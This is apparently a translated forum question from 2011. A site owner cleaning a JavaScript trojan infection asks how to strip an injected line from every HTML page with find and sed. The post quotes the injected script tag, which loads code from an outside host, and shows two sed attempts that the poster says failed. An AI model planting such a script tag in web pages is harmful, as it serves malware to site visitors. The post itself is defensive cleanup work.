【发布时间】:2011-03-10 16:38:24
【问题描述】:
您好,我正在尝试为客户清除 js-trojan 的网站,它已添加:
<script src='http://nt02.co.in/3'></script> 到所有 html 页面。
由于手动清理的文件太多,我尝试了这样的查找:
find ./ -type f -exec sed -e "s\<script src='http://nt02.co.in/3'></script>\ \g" {} > {} \;
问题是您不允许使用 sed 输出到输入。 所以我尝试做类似的事情:
find ./ -type f ! -iname "*.new" -exec sed -e "s\<script src='http://nt02.co.in/3'></script>\ \g" {} > {}.new \;
也没有用,它输出了一个名为“{}.new”的文件...
关于如何正确执行此操作的任何提示?或者关于如何清理这个的其他解决方案?
【问题讨论】: